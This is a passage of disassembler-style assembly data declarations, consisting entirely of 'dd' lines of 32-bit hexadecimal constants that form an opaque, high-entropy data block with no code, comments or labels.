		dd 8A6D95ACh, 8AF26FC0h, 986624B7h, 23150926h, 0FCCB595Ch
		dd 333660CCh, 0C81C19B7h, 0BAA0E0h, 0E175DA91h,	1652C57Ch
		dd 0BDB96B56h, 0F1BF80CDh, 2B5FC1h, 0C48060D2h,	6186B729h
		dd 0E462EF95h, 0BE32601Bh, 0CDA00EE3h, 9BB61071h, 878FAAh
		dd 2C83F419h, 0FC34256Eh, 313B46E4h, 2D04A09Dh,	9FE58C0Fh
		dd 0CCC97F00h, 4F13752h, 0F81E2B24h, 816BAFE0h,	99001A23h
		dd 5BC25CEDh, 0D6E09FD3h, 9822559h, 0A5CF76DAh,	1A599173h
		dd 0FBB03A19h, 4A7512DDh, 2E0CC2F9h, 0E92645D5h, 0A7971937h
		dd 25D0CE66h, 0FD5C1BD1h, 57C27671h, 0F70F49BDh, 1EC7A0D8h
		dd 9111D1D2h, 8ECDA572h, 0A8601864h, 0DA165B6Bh, 0A4305687h
		dd 41AA2E6h, 4FD5BD12h,	8308B843h, 0E8E17381h, 6A4D52h
		dd 4E74FF94h, 5B9A7C20h, 898A8B97h, 426A7108h, 0D353051Dh
		dd 5C4D9D0h, 498C27D1h,	0A5F20E32h, 0E1C2BC12h,	7A2F0503h
		dd 0A37B0F5Eh, 4F7AA0F6h, 9F50F91Eh, 8925066Eh,	0F8DEF805h
		dd 9E9497DCh, 9FC8D44h,	0ADB50160h, 2FF8BAC1h, 3EA66616h
		dd 0FF2B53E0h, 0FDC14539h, 253A1148h, 0BCEC7925h, 1A39F8ACh
		dd 6D5C7119h, 7BABB192h, 43007FAFh, 4ACD1B9Bh, 95E29021h
		dd 0A27BED92h, 19AE378h, 8BCA91D8h, 687B4329h, 8F216FEh
		dd 0D5D96109h, 5CA1D5B5h, 77BE8C89h, 0CA908C31h, 0B8FF90F5h
		dd 38C600DAh, 87EA09AFh, 7300D178h, 0BB8AF631h,	5C078F9Fh
		dd 502FAF60h, 3600BBD1h, 65BA1DC7h, 0B33400EBh,	64AF9D83h
		dd 0E912DBF1h, 0ADE6905Fh, 0A4F2FBE5h, 56751301h, 0ACC7B35Bh
		dd 55257B4Eh, 215E0642h, 3A107552h, 0F600B1A0h,	2131840Ah
		dd 3825CADh, 516032F4h,	0CA50615Bh, 7B5A535Bh, 8D04DAB6h
		dd 2147FD1Fh, 131009E9h, 41011581h, 929CC49Eh, 8A39584Eh
		dd 0C43A78B8h, 0B9DF0146h, 11858926h, 5E418E2Eh, 19B07DE6h
		dd 0FD499D2Bh, 30EB5EC4h, 2005BDFFh, 9538169Dh,	0B050B7FBh
		dd 2F4F2DF1h, 0B928DE79h, 5C08A527h, 77735A6Ch,	48F74350h
		dd 0C82D8260h, 5E2718ECh, 5F174A61h, 0A340E6CFh, 0CFFAD7h
		dd 56BFCE4Ch, 6BD3813Eh, 4EEADC13h, 254A17A3h, 0E7ABFD16h
		dd 0AF15D739h, 4B64B941h, 5BCDE0C4h, 9747B289h,	0FB805DDAh
		dd 15393F35h, 80A2A96Eh, 119FF781h, 56342703h, 46C4C9F8h
		dd 0DA9B0446h, 688AFD6h, 0EA3DE1EFh, 9B3C724h, 4174C442h
		dd 299678ACh, 3FB4DCBCh, 6EA64F6Eh, 0F8FD2B00h,	0ED14D781h
		dd 6844280Eh, 2310497Ch, 0FE42F4F7h, 6B831E86h,	583BEB0Fh
		dd 0F801DB9Ah, 0B372F737h, 0C27B6B01h, 8900185Ah, 970F419Dh
		dd 364734Eh, 0E81308FAh, 5FFCC0D0h, 25ED572Ah, 0CF5D429Ah
		dd 0FD2E4150h, 4BD44F2h, 81C7FC82h, 2F035DF9h, 22E16F8Ah
		dd 308C2A58h, 5A1E39BDh, 6520AD83h, 0FE9691D9h,	710A4D20h
		dd 59379D61h, 673DCE04h, 0DAF546E8h, 258080C0h,	29771E50h
		dd 0A5BEAC32h, 914243DEh, 511B5E36h, 8426382Dh,	16AAE9FFh
		dd 0A1DBFE4Eh, 0EBEDEE80h, 8D13897Ch, 3BAE06F1h, 0E9A6E4DFh
		dd 0B992F0A7h, 0C516CA93h, 84AFC690h, 0E308BC21h, 8F5F40C8h
		dd 4A075ECDh, 58CCF8A1h, 0EF9703B2h, 0D8644082h, 0AB5C022Bh
		dd 14711828h, 0E10C8E6Dh, 11342C6Fh, 7F632541h,	34759C2Dh
		dd 0BD5B4A71h, 2D10DFB5h, 872CCCA4h, 9E363301h,	816AC853h
		dd 3989CCFCh, 5D122A6Bh, 6B36F5AFh, 79A078F7h, 0C54B7586h
		dd 70B4D4A6h, 545F669Fh, 0F8213B09h, 227A572Bh,	0B750960Eh
		dd 6DE9923Ch, 4F7D83B8h, 0CFB7391Dh, 0A1A4F6C4h, 2020B0ECh
		dd 0BC09CF98h, 71357038h, 2C1C54E1h, 4265C790h,	62105EAFh
		dd 0B8B223B3h, 53180684h, 4200B8E2h, 0B0E4AEB7h, 1500CC3Ah
		dd 0F26B31EEh, 0BE6964Eh, 9509A03Fh, 0C73FB055h, 0B7278CD0h
		dd 7F2E895Dh, 66983B3Dh, 1301EDB8h, 0AE0CD18Dh,	8160F520h
		dd 7C10BDAh, 30C07F80h,	0C6B00972h, 37205027h, 82F30340h
		dd 4EB8DF71h, 0DB2480D1h, 490B71E3h, 0EA6E7404h, 28A10BB0h
		dd 14516E74h, 709A210h,	36856300h, 0EF2097C8h, 9F6F00A6h
		dd 0D55AC6DCh, 0B62DAB06h, 788ADB6Ah, 18934182h, 0D8D6132Dh
		dd 3A94E8D1h, 0BE5F36E5h, 2DCE7558h, 0EB739D35h, 0BD181479h
		dd 1F4D83A0h, 0BDE32981h, 73FECE1h, 5950F8C7h, 75CBF8EDh
		dd 9092EE6h, 7E34A58Dh,	1D46DE57h, 176D8D00h, 29582B5Eh
		dd 0D21AE212h, 8A4BEAF3h, 0B04222AFh, 2E4A0BB6h, 335A5396h
		dd 55B2504Eh, 99F4FF03h, 79D856C9h, 5F253129h, 706D5B96h
		dd 470B346Fh, 4238D4Dh,	29BBE91Dh, 8B046BBFh, 0E2BC4D9Bh
		dd 0DD9DC5DCh, 74CAAB0Dh, 77A7BBE0h, 0BD89150Fh, 75AAD6E1h
		dd 91A2BAF3h, 4BF6313Dh, 4FA6CE1Dh, 9B3B4CE1h, 82A7C0D7h
		dd 965871Dh, 0DCAAFD16h, 0BB80A779h, 9C5C3F1h, 374AB5C6h
		dd 4B36775h, 440DF19Dh,	9B12F274h, 3DC18069h, 0FD574B30h
		dd 438F1E28h, 0A180CC00h, 171632B8h, 0B1A84A1Dh, 80E2DB93h
		dd 0CA888443h, 0E960112Ch, 41AA5B05h, 57EA8004h, 19DE9A61h
		dd 40B5D7F3h, 51801991h, 83F072E2h, 0CB814800h,	53B60ECDh
		dd 8BA701BFh, 0BB902826h, 5C82ECACh, 37B75077h,	529B017Ch
		dd 3C08595Ch, 78128074h, 153D732h, 0FB6DE9F3h, 22B4C5B6h
		dd 6B6A68BBh, 9BF197D6h, 46F2B78Ch, 0D297A0F8h,	23F6B5FBh
		dd 0CEB97CDEh, 0D1621FD0h, 0C7828B24h, 0EC552771h, 0D485BC71h
		dd 3F8BB01Ch, 5031A57Bh, 0F2505BA7h, 76CC004Eh,	8C05F869h
		dd 97010027h, 0C5704633h, 0A717BE8Eh, 0D0B81DC0h, 0F1D4EB80h
		dd 0CB05DBABh, 8C7191A1h, 0DD00A4F2h, 9AC5744Ch, 6800C42Ah
		dd 0AA2B65Eh, 10D8088h,	0F3771587h, 0C45F5BEDh,	244E0489h
		dd 0A000AC6Eh, 0B28392BBh, 0D65A39AEh, 832E7BB0h, 0EF80520Bh
		dd 9D8D49DAh, 0AB6004F2h, 0E0EF4627h, 7CE3BAABh, 0BCBE4ACFh
		dd 6EF9A56Fh, 8A041FA8h, 0F8CE0FB2h, 6068DDABh,	0ADB055ADh
		dd 0D6BD74B7h, 0BF5C3800h, 55A615D4h, 21A50129h, 2DF0D0BBh
		dd 79283A74h, 25F843Ch,	5C5FC8h, 5ECB640h, 0A89B5208h
		dd 0E7F0D60Eh, 1FFCE17Bh, 906F9529h, 0BD8B5B16h, 29CF29Fh
		dd 0ABFBBF50h, 0DDA94AAAh, 0CC471A55h, 0CF800407h, 0AB58E9F1h
		dd 0DC2468CEh, 7FB72794h, 6DA727B8h, 5F4EC0BEh,	0AB13618Ch
		dd 61AFD72Bh, 3A810F12h, 2083C3E2h, 4797A06Eh, 410CB450h
		dd 9BEB6209h, 159CF32Ah, 4D8B261Ah, 15CBC06h, 802BE6FAh
		dd 3AAAB796h, 0D0602662h
		dd 0BB0A40A0h, 0EAE45604h, 0FABC6176h, 99DBFAD6h, 9E67B480h
		dd 0F12F912h, 0E0BDDFBFh, 0A808ADD2h, 0F8D85808h, 6A12BC52h
		dd 80129BFFh, 5D950977h, 8455821Bh, 0B161DBDh, 5029D54Dh
		dd 7003F44h, 7549A9DEh,	160021Eh, 4F16274Bh, 0CC3E587Ah
		dd 0CD4E72A1h, 89293498h, 17F8B089h, 4D38153h, 8071D5Fh
		dd 2D3DE85Bh, 9F155CD8h, 890E617Dh, 0F6AC32B5h,	27021E53h
		dd 1C45B055h, 0F5912B74h, 0F9850104h, 0B5093032h, 0AC7EED49h
		dd 0E9E2D2ADh, 9DCEDA01h, 0B4298D0Ch, 0C1EE7D6Ah, 0DCFEBBD2h
		dd 7A9D4F6Eh, 4E4CF21Bh, 0ED2E88B4h, 80480242h,	11CAD7C0h
		dd 9B74E1BAh, 0D056F925h, 2E2A50ADh, 21EACAD1h,	0E2954594h
		dd 10852F97h, 0E34C4467h, 8D9D3284h, 1325BA33h,	1A330EBh
		dd 2F51C9B5h, 0B9D2240Fh, 2E23249Dh, 36C8DCEAh,	0F1D2C000h
		dd 8DF75879h, 1F72D5h, 0FB6C76A9h, 0E9C22C17h, 12F4A6Bh
		dd 0D6A5C031h, 6400FC45h, 0B9061905h, 0E23109B8h, 36D1617Ah
		dd 0FBB0529Bh, 0B8F14E04h, 1694A536h, 0EA962FBDh, 0A8955A8Ch
		dd 4BADBD7Eh, 8437A218h, 0F1127596h, 0F6427FE0h, 5EB4E8C3h
		dd 1546D6F8h, 7C7DD618h, 0B9800E95h, 0DE105AACh, 2B2E8439h
		dd 825B37C7h, 423CD3Fh,	1EDBC61h, 4F1AEB81h, 5BDE678Bh
		dd 9FC6709Fh, 6612ED0Fh, 8978A90Dh, 789AD5E7h, 2BFBBB01h
		dd 815E20D2h, 0F8F72C4Ah, 807B9AD6h, 6CB196F3h,	0F826257Ch
		dd 0EB6312FCh, 4C2388A7h, 0F56B00C2h, 5A7A41D9h, 2E77B351h
		dd 80DFD414h, 82D007E1h, 0DB5061AAh, 4A87349Bh,	1F8A8851h
		dd 90887A00h, 750EA883h, 9DD3A0BDh, 34C9708h, 23809EB1h
		dd 5EFC83C4h, 0FD7A0F62h, 40C05F26h, 0B659123Eh, 0B8B37B01h
		dd 0D9D33C4h, 8403E56Eh, 0EAAFF38Ah, 0F92D98F3h, 2542AD1h
		dd 330D7494h, 0CF18AB4h, 0CB83E100h, 4BBCE889h,	0D29ECB6Ah
		dd 0C7A859A9h, 653F9101h, 5AE2E95Eh, 933060CDh,	0E0FBDAF5h
		dd 61920F76h, 9489A8F2h, 87BDBD77h, 1037B8CCh, 5CAC783Ch
		dd 0F5C35095h, 81A2DF2Fh, 5FF55085h, 12A3A73Fh,	64E902E5h
		dd 30E381C0h, 491718FDh, 0F6E9E1FFh, 0DB18F9B8h, 0D2150EE9h
		dd 170D0090h, 0AA98E5FEh, 0A60BDDA9h, 748D73EDh, 9341D292h
		dd 971FE751h, 6B89F3CFh, 46AA791Ah, 14903316h, 4FA3CB04h
		dd 7EBC0908h, 0C75FCCA3h, 0B510B2A7h, 0F4C04A29h, 9F606F36h
		dd 42034E37h, 0A8AF32A0h, 4700196h, 0DB808D36h,	5BAFBCF1h
		dd 748214DBh, 31DD39A3h, 0B8142E90h, 6EF65A49h,	6A129748h
		dd 0B254F6D3h, 96563017h, 295FE73h, 50DB11D7h, 78F8B336h
		dd 0C71A667Ch, 62B63ECDh, 0CB4D774Ah, 82C582E4h, 1AA5F581h
		dd 3E3E392Fh, 0FBFE8B4h, 65060AE6h, 0BB524D18h,	35368417h
		dd 79F8B11Eh, 1D00C497h, 0C0AB657Ah, 1F436DA1h,	0BF0BA773h
		dd 88B03349h, 404FD6CDh, 45B99775h, 0CD37BF58h,	52BB8238h
		dd 561C4166h, 39226906h, 0EDEE1E75h, 8AAE819Fh,	302F6103h
		dd 459D2317h, 0E82F0762h, 0F4C4D601h, 100FB416h, 19E38652h
		dd 41E19450h, 0F52A2B1Bh, 0DCF75180h, 0D60B963Eh, 20B190A6h
		dd 0BD135DF2h, 134CB75Eh, 0E4564682h, 0DC89F889h, 0FEBFDEB6h
		dd 0BF2B1686h, 0A8814925h, 0B22B34D1h, 7ADAD336h, 79382080h
		dd 9DE4F101h, 61714Dh, 899EECBBh, 9730B378h, 0FA29ED04h
		dd 0D29604C8h, 8DF78CE6h, 714DF95h, 6D96B427h, 0AC5AC0D2h
		dd 8FB4FB46h, 0EF0F14A4h, 6BAF522Ch, 1923D7h, 0E9BDFE9Fh
		dd 3117E847h, 0B1C0DD95h, 32174468h, 24C49AB4h,	656A8382h
		dd 4CBB777h, 0B839E128h, 9529C1E1h, 900209F5h, 872804DFh
		dd 0B5C788F8h, 0BB31A0DBh, 49093A54h, 0D7585A18h, 128E6198h
		dd 7E618905h, 36E69039h, 2F926FE0h, 922D7259h, 23154F04h
		dd 0C877DBEBh, 6118C214h, 1AE12AEDh, 0AEF80AB5h, 32E92DCEh
		dd 284EB0F0h, 2EE96DBCh, 8E1BDBA5h, 0D8F588C0h,	275EE972h
		dd 82512A8Ah, 5B9FFC6Eh, 93AFB0FDh, 70103B6h, 0D480603Dh
		dd 89323094h, 0EC7F2441h, 0F6868929h, 0DA2270AEh, 8AD1D809h
		dd 44D371FAh, 33F05296h, 3E7905DFh, 2C6127B6h, 2DD680E5h
		dd 0A8AC88h, 0F3F08240h, 571DD274h, 5A113648h, 0A84E2FA9h
		dd 2ABD5E64h, 0C809FDF8h, 71FE6864h, 0C85AC0B6h, 0D75049EBh
		dd 0C0444E6h, 6C68720Ah, 7545C6C2h, 0BD167EECh,	71E813C1h
		dd 0A895A9B5h, 3A649602h, 56500F83h, 341244B7h,	0F2AA2434h
		dd 6290005Fh, 1DE411ECh, 6080509h, 0AB978420h, 73D60DDAh
		dd 0C289688Ah, 0FD66D2EFh, 24B89300h, 8A1F0C0h,	8760092Eh
		dd 9A5E3A0Eh, 0D6C6EAh,	0DB852613h, 0D02D0FBFh,	0B207AB95h
		dd 990BD789h, 59E94F74h, 40BB819Dh, 2E23ED74h, 7BFB9F12h
		dd 0BE210989h, 0BB387750h, 1297202Dh, 0DCB6F69Ch, 8866E709h
		dd 31F8808Ch, 0B71E458Dh, 0E8C47B44h, 91B80C25h, 0B2FF1B1h
		dd 297D887Eh, 6FD55D0Bh, 0D0C2D394h, 1ABD972Eh,	0D5C5098Fh
		dd 3D5D4DA9h, 0CEF88A5Fh, 8DD997ECh, 48E2708Fh,	4A705249h
		dd 4A92141Eh, 1BAC65B9h, 619D008Ch, 0AF052D4Ah,	18977C1Ch
		dd 2FB5094Bh, 27E0BE5h,	85DA01C0h, 0E9EF2C07h, 93EE6075h
		dd 0AE07C7B1h, 71642F74h, 892E23F0h, 39A4FEB5h,	5FA5ACE0h
		dd 222075C5h, 0E1DA8B28h, 0F7D00AFEh, 3F361ABh,	292E799Dh
		dd 3DD530C7h, 2AB9AFD2h, 29EC1CADh, 7698C54Bh, 988EEABFh
		dd 0BD07FA5Dh, 547A3753h, 0AFEFC43Eh, 645090BCh, 0F144091h
		dd 6D318F4Eh, 382E0899h, 0E4876E6Ah, 0E6EB651Bh, 21B9401Ch
		dd 4042324Eh, 5C1AC5F3h, 2D8E6C74h, 0C6940495h,	829CDEBFh
		dd 466097ABh, 35850324h, 0F8B4A899h, 958D3C0Bh,	6134D534h
		dd 0C9F78004h, 0EAFEFE9h, 0BF376006h, 0CCBF3E34h, 0F0FF619Ch
		dd 51245C0h, 6D8348DDh,	2F5F7F21h, 0BBB7C18Bh, 85EE6100h
		dd 761C8ED3h, 296A12BFh, 4A7DE321h, 0F207FB27h,	0D5CBFE62h
		dd 97F9E704h, 846D7B6Ah, 5776C2C0h, 962E429h, 5845E4F9h
		dd 75320580h, 6A4B0569h, 0E4F0CAF6h, 6C12F18Fh,	6FAE6AF9h
		dd 468D2CDFh, 0DA2BCB03h, 8A00FD45h, 6130B3Ah, 0C99D1633h
		dd 766AAE1Bh, 0B5D1604Ah, 5D0B7AC2h, 0F6895628h, 25C04B99h
		dd 908129F9h, 0C6A4C86Eh, 6579141Eh, 9215007Dh,	0B6B9CFADh
		dd 1D8C2D9Bh, 0B0A46CF4h, 5BA29003h, 4E6BA550h,	4B09DE3Ch
		dd 0AA02947Fh, 0DD0B1D11h, 94DB5907h, 322BC0Ch,	7F29E9BFh
		dd 1DACBC1Ah, 0B22E21C7h, 2B5C3E51h, 0F455DEA7h, 1B28B80Bh
		dd 34647F98h, 20A99180h, 0C4EAEEB5h, 51E4118h, 33ADD1FFh
		dd 9D26E1B8h, 253B9975h, 112EC577h, 3F314876h, 74B90150h
		dd 26ADE8Ah, 8FB8CC29h,	0D990BE2Fh, 6A64BB45h, 0A9DCAA15h
		dd 659700B3h, 0C6439E66h, 61010537h, 8B94BBA2h,	0CF245BFEh
		dd 0D6B727D8h, 0F89452CEh, 27E548D4h, 0E9DE2605h, 18CEEAB1h
		dd 0A28C4424h, 69B40052h, 1D261BDEh, 41014F43h,	6CBD1310h
		dd 53695BFCh, 309797B8h, 0BFDFB758h, 4D550A4Ah,	8394C030h
		dd 2212C58Ch, 5FBD3C68h, 8C1CB8h, 0AF41D4BBh, 0BA9FDD58h
		dd 8A60EF0Ch, 97C8AED3h, 3456573Ah, 0F6FAD42Fh,	6A9A1909h
		dd 0D14403FFh, 0C05EB2BAh, 97183DFAh, 25D1AD7Bh, 0ACD1042Ah
		dd 9015B92Bh, 0F88B82FDh, 804651B0h, 0CE46D920h, 0E6075F51h
		dd 269CBF70h, 71E46041h, 8BCB5084h, 2206B902h, 8095C3h
		dd 2EF27CBFh, 0B0BD324Ah, 0ACEDDF82h, 6CD570C2h, 0B5310B0Ah
		dd 11570945h, 0A960D105h
		dd 0C9F54AE3h, 0E19DF5D4h, 12500809h, 0E247554Ch, 484B0E02h
		dd 122B4143h, 0B47A5224h, 7995DF13h, 3A90B78h, 2364F05Ch
		dd 33C78140h, 31A4A2Ah,	0F7175BE9h, 0D2009066h,	0BF94AA25h
		dd 95E6DCh, 0A5E59D91h,	9C8447D5h, 7B5FF52Dh, 0A6BF0401h
		dd 548AEBDCh, 0A53ECA6Fh, 8B50455Eh, 8AD198FBh,	0BA40006Eh
		dd 739BDCEh, 0D496FC7Bh, 772EE0B2h, 2312E642h, 0D4B6AA3Dh
		dd 0B8BA610h, 0AA21BD89h, 0B0BFE43h, 4191CF2Dh,	2B15520Ah
		dd 7BF10C20h, 0B83A0274h, 971D92E5h, 0D4365657h, 0AE8B9E93h
		dd 25EC8208h, 20DC5A34h, 0B9250D95h, 6208CF0Bh,	84FD1D78h
		dd 3FC28919h, 0CEA2551Fh, 0CCD51B35h, 0BC6DB55Ch, 0DBE55340h
		dd 0E24B2D7Dh, 3199A754h, 0BB002568h, 0E9127995h, 919BFC02h
		dd 6FB9D82h, 9C8BC0C0h,	1CC4EB48h, 4A408AA8h, 8D29C02Bh
		dd 0B8154E79h, 53F6D2B3h, 8F82AAA2h, 565C07F1h,	0D42BD6FAh
		dd 6006E71h, 0D3676FBEh, 0B07B660h, 6101C480h, 59C9FBCDh
		dd 0BE84872h, 515E2075h, 29216BEFh, 55F5569Fh, 0AE999300h
		dd 0EA6A3016h, 0CD9D120Bh, 9757E229h, 82D3F3A8h, 1D570202h
		dd 58A0ABD4h, 20965636h, 0C1A602DCh, 0F460C5DAh, 7951425Ch
		dd 0C116FE14h, 57E96AABh, 1CA0232h, 0D718CDBDh,	0CB9C7A96h
		dd 16790AD4h, 24EC7259h, 27624F9h, 0E1FF0145h, 3AE596EDh
		dd 976B09FAh, 0D74B2771h, 6C7310E2h, 2A94A70h, 7010E83Dh
		dd 3E5C91AFh, 953E653h,	1E059D09h, 5E61B055h, 0B3B517DDh
		dd 0A17DFCB2h, 21D21C86h, 2197195h, 5B377D60h, 9B0E0A12h
		dd 55461A09h, 0F4FE54h,	0B1C1BF6Fh, 9050F725h, 4D203B5Bh
		dd 0E64032Bh, 14408AC5h, 0B205FCFh, 0F333BB1Bh,	8055BF09h
		dd 0C3D355E1h, 6B0A070h, 23705426h, 4D25D067h, 9B17790Dh
		dd 80B231B0h, 5258F3FAh, 7B5F2D13h, 5D8D048Eh, 7A7C2919h
		dd 9AD1712h, 6342D9EBh,	0BB00F451h, 0BD41D2F0h,	54E40142h
		dd 0BA5F4C6Eh, 4FE3F4AFh, 9116E104h, 0ADF59D23h, 0B66FAB71h
		dd 86DF001Dh, 683FA7E6h, 96480419h, 0AA07B73Bh,	4B4F751Fh
		dd 0DD053389h, 6C891CC5h, 0AAC6D52Eh, 1A232F6Bh, 0AE896E1Fh
		dd 2CA47EBBh, 9FD09A6h,	8BEF325Ch, 8AEDDB5h, 91DF6289h
		dd 0F62AFEE6h, 3214B232h, 0C5EFCCFFh, 0AE0C6584h, 0F1F0FB29h
		dd 0CA6BF91Fh, 3A98B001h, 0ADD20064h, 8065F30Fh, 895825C7h
		dd 901270E8h, 0F0B643D0h, 153017B2h, 66752501h,	2AF9E261h
		dd 258B88A0h, 10575011h, 58C7DF7h, 0D39A04BFh, 2209EB55h
		dd 0C3DAED96h, 0B9C8149Ah, 1F092D54h, 446880BDh, 0D1F70079h
		dd 3C288310h, 8B07917Bh, 1FBFCD4Eh, 5BB1601Eh, 3B09BDBBh
		dd 0CD4A5427h, 321A24F7h, 27376880h, 7C5CDB21h,	79BA6680h
		dd 0F2310FC3h, 585A3961h, 0C80262C9h, 290DC422h, 55F1425Fh
		dd 9A75AD3Ah, 0DC03766Dh, 7EBC3C02h, 0E05F566Eh, 822CED96h
		dd 0D5C60BDFh, 18C44114h, 61050A71h, 1FCEFFB7h,	5E518B25h
		dd 7EAF5864h, 2DC1005Bh, 7AE3388Ah, 10F4B94h, 0E9A89EE3h
		dd 0FC5DA345h, 0D37D78h, 4332AC66h, 0CD26CBBAh,	0F3805004h
		dd 98AC5FA3h, 8C196EBh,	207A9A96h, 42712F93h, 51AA1000h
		dd 5DBE04A3h, 9F569884h, 5B092651h, 447759F9h, 0F9A85FEEh
		dd 4E5EC949h, 0BEA466ADh, 0E7EE1D20h, 776304D9h, 0ABAE1C61h
		dd 0B2FF0965h, 6F835BDBh, 9AEBDC30h, 0C116C85Ch, 7F193634h
		dd 5730C709h, 0B59DF916h, 0AE591208h, 4A1DD0B0h, 0A785DD0Ch
		dd 5A13D218h, 0E46BC950h, 0FF006F86h, 0F8A91FF9h, 1D1C6C5h
		dd 353DE431h, 2A213E41h, 25940D54h, 5A891B53h, 25D9E956h
		dd 647C6D5Fh, 1518601Ah, 25337582h, 6C4747Ah, 66681C00h
		dd 87DFB1FBh, 24F397D7h, 6D49A5A0h, 889D4AF4h, 81F89A7Bh
		dd 0C1F3AB69h, 0CD46DD68h, 3DC07A58h, 8A7CB036h, 0BAA4911Fh
		dd 899F4285h, 0D3339AABh, 8EE3D470h, 38FD04ECh,	0EA57CD2Ch
		dd 0A9A838C4h, 0EC81ED4Bh, 0FFD95F69h, 5760A022h, 614404D6h
		dd 5B30A2D2h, 0BF6687B0h, 0BA58B994h, 0FA78DC93h, 0D5010B75h
		dd 0C578403Bh, 35BD024Ah, 80A6DA92h, 0F366F06Fh, 256B0592h
		dd 0AEF98BE9h, 0FE6B6774h, 5C313905h, 40E2FB66h, 1233E84Fh
		dd 0FDB3FFBFh, 0B514404Ch, 8180F50Dh, 0E0F012E3h, 2BF7304Ah
		dd 4C65652Fh, 0C60F517h, 0A428EC1h, 77E05557h, 228508C0h
		dd 19295525h, 173B4F53h, 70AA0301h, 0FE780CDh, 59859495h
		dd 0CCF96774h, 633E6211h, 66E38AF6h, 508E3BCh, 1ED42531h
		dd 6462BF80h, 0FB0F4993h, 0DD9E203Fh, 0F2002DF9h, 249CB630h
		dd 0B84B5B4h, 10B0DA0Ah, 0AB5D218Bh, 7046DB9Fh,	4C000ACEh
		dd 1CB2793Bh, 0B51BF411h, 2D509BC5h, 84EC0047h,	3BBF49A3h
		dd 2609BBA2h, 730BB170h, 95CDAD08h, 555C6B42h, 968B310h
		dd 0B6CCED00h, 9EC76190h, 4461ADF2h, 1E1B601Ah,	9A589F28h
		dd 2F8DA74Bh, 1EFD282Ah, 1DE3DF8Ah, 0A7A1274Bh,	4BF0B72Ah
		dd 50DA4D8Ch, 9DFB06C6h, 15D96373h, 0FE63918h, 2C122FDh
		dd 4EE9D98Ah, 0FACDD8F4h, 35E50BE7h, 3537C18Bh,	12E7E180h
		dd 17639528h, 949D2353h, 0FB6AC561h, 0F9D88A59h, 2B3EDD2Ah
		dd 69809ADAh, 0A31105A7h, 0BDECD1FEh, 0D9D4D869h, 0CB81807Ah
		dd 128EFD14h, 2BBB5002h, 50439DA3h, 0E2F3B798h,	1C2A2770h
		dd 80EAFCCFh, 0BD3321F7h, 0E9C42091h, 6A4B299Dh, 7DE3C96Dh
		dd 663A01D3h, 6047E5BBh, 0D192051h, 0A5B1340h, 6159F550h
		dd 19FA0FA3h, 8BE6B996h, 49B5D629h, 0C180E050h,	90811DCDh
		dd 0D8668C3Bh, 0E61EB112h, 0D2F3B2BEh, 450701E3h, 0A057E78Ch
		dd 61C3B059h, 94905B3Bh, 272E9501h, 79C456h, 593221Eh
		dd 0F9966BB5h, 5A80F006h, 7ADF615Eh, 810BC18Bh,	2B9F23DBh
		dd 0C7A0A537h, 5046E6BBh, 4AC1AC3Fh, 2986DC0Bh,	19F939EEh
		dd 83679A6Ah, 0D2AA52F1h, 1240F512h, 51608531h,	219D8957h
		dd 3AC7B50Ah, 0D540A311h, 6AC9129Fh, 0B85DA902h, 0FE4101F5h
		dd 86D014EFh, 71F28B6Eh, 1BB05F29h, 5D7307D3h, 90463Dh
		dd 577A7C80h, 17FA08BDh, 0FE3DCE3Ah, 905F9831h,	0B2C0D77Ch
		dd 0CAC4FC91h, 7A544000h, 0AF13DAFFh, 0B19F09BAh, 5DF8BBBh
		dd 65BA904Fh, 22330B0Ch, 0C0F415DDh, 138C91A2h,	5CB2B91Ch
		dd 610891EEh, 0EBE9092Eh, 41722856h, 0E63F1335h, 417EF007h
		dd 39A501B1h, 0C76CE2D3h, 9962CA3h, 0FC515624h,	26AB4082h
		dd 0AD00292Dh, 0C4E6894h, 0B65FFF14h, 0FD4CDCE8h, 73D82DF7h
		dd 0D434AE66h, 0C4D52B2Fh, 93990761h, 505C92AAh, 0EDF2B8E1h
		dd 0E6470700h, 0C109A45Eh, 20285B5Bh, 6C85B18Eh, 0FBBDF000h
		dd 8C36BF90h, 500A14D5h, 0EF5FF556h, 405BB728h,	3097DE90h
		dd 968D0F1Bh, 0E6CC2D92h, 0B7D73600h, 0B4A762ADh, 2D8B00AEh
		dd 0D17D79BCh, 34A45B5Eh, 43805BDh, 156929AEh, 5FDAFF98h
		dd 0BA17392h, 2F858989h, 0FF6AA044h, 0F6801CACh, 0A243DA4Fh
		dd 0FBB59500h, 57533B3Eh, 0EAC40B1Ch, 14845AF4h, 0EDEAF65h
		dd 0E6D4D4C9h, 28AB0817h, 1B99FB3Eh, 562DCF89h,	2FA103Dh
		dd 0DF8071E4h, 0BC245CC9h, 5E09BBC4h, 70799BB0h, 0BD2B1629h
		dd 0AA098555h, 3600938Bh, 0BF3DD62Fh, 9283A28Fh, 4325CDFh
		dd 0B882F380h, 8D090E35h, 0E2971095h, 130A4858h, 60FE30DDh
		dd 226D468Ch, 0D33C4003h, 4AF28597h, 2B27A1BCh,	0E0C0F7ACh
		dd 8A44ED6Ch, 2EE9FC24h, 0BD60C448h, 0BFB08Fh, 7A0B3CD8h
		dd 0C0D249ECh, 0AACDE05h
		dd 7B878D12h, 44044EA7h, 8A7F5DB9h, 3B5F825Fh, 4466FDD0h
		dd 12E12892h, 6A947546h, 1D6DF0C4h, 819F9CEBh, 0FE0FD304h
		dd 50B82F89h, 50892588h, 1F695533h, 52642E5Bh, 7C21A80Dh
		dd 8CEB5704h, 124BB76Ch, 7AB14598h, 2EB7B59Bh, 0A7FDD582h
		dd 331F40D9h, 487C6470h, 0AC34B9FCh, 0F078C19h,	0AAABFA7Bh
		dd 8086B934h, 0DC21941Ch, 0A6C8AF00h, 34418B22h, 0B2660201h
		dd 1D2DBD0Bh, 0F422B5Ch, 0ADCCD581h, 0B3FE06CFh, 4FE050A6h
		dd 92EC03BCh, 137EB739h, 2F95FC7Ah, 2D7C6FBBh, 9ACC4BCh
		dd 77B20230h, 0AF4A3464h, 0B10FC0AFh, 2007F2BDh, 0BAF88BF0h
		dd 7FF41809h, 1B1E9733h, 2C9904B5h, 108E1E12h, 0EC895F1Fh
		dd 0E10CE4h, 0C7D24675h, 0C270CD39h, 1DD4A716h,	0B7B331ABh
		dd 4E343CFEh, 0A8C047DEh, 298D23F6h, 6C60CD0Dh,	0E33E083Dh
		dd 0D6D24056h, 0DB726164h, 0B2D6EEACh, 60EA5FE6h, 411276ABh
		dd 65FBFD25h, 9D2360F4h, 54D616F1h, 4737B516h, 162B6469h
		dd 0AC08659Dh, 2B1BE2B8h, 0B50515D3h, 61AF16BDh, 2BF98B13h
		dd 0A292A8F9h, 4F08570h, 3FB7ABBh, 82423B1Fh, 0BDE20BEAh
